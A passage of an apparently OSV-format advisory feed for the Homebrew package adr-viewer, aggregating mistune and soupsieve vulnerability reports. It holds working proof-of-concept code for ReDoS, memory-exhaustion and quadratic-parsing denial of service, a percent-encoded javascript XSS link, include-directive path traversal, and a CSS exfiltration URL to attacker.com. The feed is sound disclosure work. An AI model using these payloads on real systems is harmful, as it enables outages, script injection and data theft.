img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n sandbox = f'
    {out}
    '\n return f\"\"\"\n
    \n
    {header} — {h.escape(label)}
    \n
    \n
    \n

    Input — {h.escape(filename)}

    \n 
    {h.escape(src)}
    \n
    \n
    \n

    Output — HTML source

    \n 
    {h.escape(out)}
    \n
    ↓ live render (sandboxed to preview box)
    \n
    {sandbox}
    \n
    \n
    \n
    \"\"\"\n\npage = f\"\"\"\nH6 — Image CSS Injection\n

    H6 — Image Directive CSS Injection

    \n

    \n _parse_attrs() in directives/image.py validates\n :width: / :height: with _num_re.match()\n (prefix-only — no $ anchor). Anything after the leading digits\n is accepted verbatim and written straight into a style= attribute.\n A single :width: option is sufficient to smuggle an arbitrary\n CSS chain: position:fixed · background-color · outline colour · full-viewport overlay.\n

    \n
    \n ⚠ The EXPLOIT preview below is sandboxed inside its box.\n In a real document the crimson overlay would cover the entire browser window.\n
    \n{case(\"baseline\",\n \"Integer dims → clean width/height= attributes, no style=\",\n bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n ex_file, ex_src, ex_out)}\n\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity** | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44899"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-49476","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-2wc2-fm75-p42x","CVE-2026-49476","PYSEC-2026-3071"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.9.2","key":"pkg:pypi/soupsieve@2.9.2","resource":"soupsieve"}]},"summary":"Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector — this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488× |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-49477","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-836r-79rf-4m37","CVE-2026-49477","PYSEC-2026-3072"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.9.2","key":"pkg:pypi/soupsieve@2.9.2","resource":"soupsieve"}]},"summary":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a >3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n sv.compile(well_formed)\nexcept Exception:\n pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n sv.compile(malformed) # WARNING: This will hang for >3 seconds\nexcept Exception:\n pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): >3.0s (may need to be killed)\n# Slowdown: >3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3) # 3-second timeout\n\ntry:\n sv.compile(malformed)\n print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n print(f\"Other error: {e}\")\nfinally:\n signal.alarm(0) # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | >3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-49851","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-qcq2-496w-v96p","CVE-2026-49851","PYSEC-2026-2652"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":" Mistune: Potential DoS via quadratic-time parsing in parse_link_text","details":"### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py → **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) × O(n) = O(n²) \n total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n\"image\"\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n s = \"[\" * n\n\n t0 = time.perf_counter()\n md(s)\n dt = time.perf_counter() - t0\n\n print(f\"{n:6d} {dt:.6f}\")\n```\n\"image\"\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n 100 0.001609\n 200 0.003207\n 400 0.012906\n 800 0.050220\n 1600 0.197307\n 3200 0.801172\n 6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n²) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49851"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-49851"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492304"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59922","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-c8j7-8cv4-2xmq","CVE-2026-59922","PYSEC-2026-2210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)","details":"## Summary\n\n**Type:** Algorithmic-complexity denial of service. A run of N closed pairs `~~x~~~~x~~...` (or the analogous `==x==` for `mark`, `^^x^^` for `insert`) causes O(N²) work in the formatting parser. With the `strikethrough`, `mark`, or `insert` plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds. \n**File:** `src/mistune/plugins/formatting.py`, lines 13-15 (the `_STRIKE_END` / `_MARK_END` / `_INSERT_END` patterns and their per-position scan).\n**Root cause:** for each opening `~~`/`==`/`^^` the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like `~~x~~` repeated N times, every `~~` is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.\n\n## Affected Code\n\n**File:** `src/mistune/plugins/formatting.py`, lines 12-16.\n\n```python\n_STRIKE_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\~|[^\\s~])~~(?!~)\")\n_MARK_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\=|[^\\s=])==(?!=)\")\n_INSERT_END = re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\^|[^\\s^])\\^\\^(?!\\^)\")\n# Each pattern is scanned forward from every start position fired by the\n# corresponding inline rule. The end-pattern itself is bounded; the cost\n# comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^'\n# token in the input, giving N starts × O(N) per scan = O(N^2) total.\n```\n\n**Why it's wrong:** the same algorithmic-complexity flaw class as `[` / `[a` parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how `commonmark-py` and `markdown-it-py` handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (`plugins=['strikethrough']`, `['mark']`, `['insert']`, or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires `~~strikethrough~~` and many editors emit `==highlighting==` and `^^underline^^` shortcuts.\n2. Attacker submits an 8 KB markdown payload of the form `~~x~~~~x~~~~x~~...` (40 000 characters of `~~x~~` repeated 8000 times, or the analogous shape with `==` / `^^`).\n3. Server calls `mistune.create_markdown(plugins=['strikethrough'])(payload)`. CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth.\n4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common.\n**Attacker capability:** small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.\n**Preconditions:** application uses mistune with any of `strikethrough`, `mark`, or `insert` plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown(plugins=['strikethrough'])\nfor n in [500, 1000, 2000, 4000, 8000]:\n s = '~~x~~' * n\n t = time.time()\n md(s)\n print(f' ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n# ~~x~~ * 500 (2500b): 19ms\n# ~~x~~ * 1000 (5000b): 71ms\n# ~~x~~ * 2000 (10000b): 272ms\n# ~~x~~ * 4000 (20000b): 1090ms\n# ~~x~~ * 8000 (40000b): 4302ms\n\n# Identical scaling for `==x==` (mark) and `^^x^^` (insert):\nmd = mistune.create_markdown(plugins=['mark'])\nmd('==x==' * 4000) # ~1100ms\nmd = mistune.create_markdown(plugins=['insert'])\nmd('^^x^^' * 4000) # ~1080ms\n\n# Without the plugin, the same input parses in linear time:\nmd = mistune.create_markdown() # no plugins\nmd('~~x~~' * 4000) # 4ms (1000x faster)\n```\n\nThe patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.\n\n## Suggested Fix\n\nThe minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:\n\n```diff\n--- a/src/mistune/plugins/formatting.py\n+++ b/src/mistune/plugins/formatting.py\n@@ ... in the parse_strikethrough / parse_mark / parse_insert functions\n+ # Bound the number of open markers the parser will track concurrently.\n+ # Inputs with more than this many open ~~ / == / ^^ in flight are\n+ # almost certainly adversarial; CommonMark gives no semantics to\n+ # deeply nested unmatched markers.\n+ MAX_OPEN_MARKERS = 100\n+ if open_marker_count > MAX_OPEN_MARKERS:\n+ # treat remaining markers as literal text, do not invoke the\n+ # forward-scan to find a close\n+ ...\n```\n\nA regression test should assert that `md('~~x~~' * 50_000)` completes in under 1 second. The same fix shape applies to `_MARK_END` and `_INSERT_END`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-c8j7-8cv4-2xmq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59922"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/96d0f57f8fe9eeb06bb4cff521962a27d7c402e7"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2210.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59923","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-8c25-4j27-2rv3","CVE-2026-59923","PYSEC-2026-2211"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune: XSS via percent-encoded javascript URI bypass in safe_url()","details":"### Summary\nAn XSS vulnerability in Mistune allows bypassing of safe_url() protections via percent-encoded javascript URIs.\n\n\n### Details\nThe vulnerability exists in HTMLRenderer.safe_url() in Mistune.\n\nThe function is intended to block harmful URL schemes such as \"javascript:\" by checking the prefix of the provided URL:\n\n _url = url.lower()\n if _url.startswith(self.HARMFUL_PROTOCOLS):\n return \"#harmful-link\"\n\nHowever, the input URL is not URL-decoded before this check. Because of this, an attacker can use percent-encoding to bypass the filter. For example:\n\n javascript%3Aalert(1)\n\nSince \"%3A\" is not decoded to \":\", the check does not detect the \"javascript:\" scheme.\n\nWhen rendered in a browser, the URL is decoded, resulting in execution of arbitrary JavaScript upon user interaction.\n\nThis effectively bypasses Mistune's built-in safe_url() protection mechanism.\n\n\n\n### PoC\n1. Install vulnerable version:\n\n pip install mistune==3.2.0\n\n2. Run the following code:\n\n import mistune\n\n markdown = mistune.create_markdown()\n html = markdown(\"[j](javascript%3Aalert(1))\")\n\n print(html)\n\n3. Output:\n\n

    j

    \n\n4. Open the rendered HTML in a browser and click the link.\n\n5. The browser decodes \"%3A\" into \":\" and executes:\n\n javascript:alert(1)\n\n\n### Impact\nThis is a cross-site scripting (XSS) vulnerability.\n\nAn attacker can craft a malicious Markdown link that executes JavaScript in the victim's browser when clicked.\n\nImpact includes:\n- Session hijacking (e.g., cookie theft)\n- Execution of arbitrary JavaScript in the victim's context\n- Potential account takeover depending on the application\n\nThis affects any application that renders user-controlled Markdown using Mistune without additional URL sanitization.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8c25-4j27-2rv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59923"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2211.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59924","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-r4rv-85jg-w4mf","CVE-2026-59924","PYSEC-2026-2212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune: Arbitrary File Read via Include directive path traversal","details":"### Summary\n\nA path traversal issue exists in mistune's `Include` directive when markdown files are processed using `md.read()`. A crafted include path can cause files outside the intended markdown directory to be accessed.\n\n### Details\n\nThe issue occurs in the `Include.parse()` method where user-supplied paths are joined and normalized without verifying that the resulting path remains within an expected directory.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n```\n\nBecause the final path is not restricted to a trusted base directory, path traversal sequences such as `../` may reference files outside the intended location.\n\n### Proof of Concept\n\nCreate a markdown file:\n\n```markdown\n.. include:: ../../../example.txt\n```\n\nProcess it using:\n\n```python\nimport mistune\nfrom mistune.directives import RSTDirective, Include\n\nmd = mistune.create_markdown(\n plugins=[RSTDirective([Include()])]\n)\n\nresult, state = md.read(\"test.md\")\nprint(result)\n```\n\n### Impact\n\nApplications that process untrusted markdown files with the `Include` directive 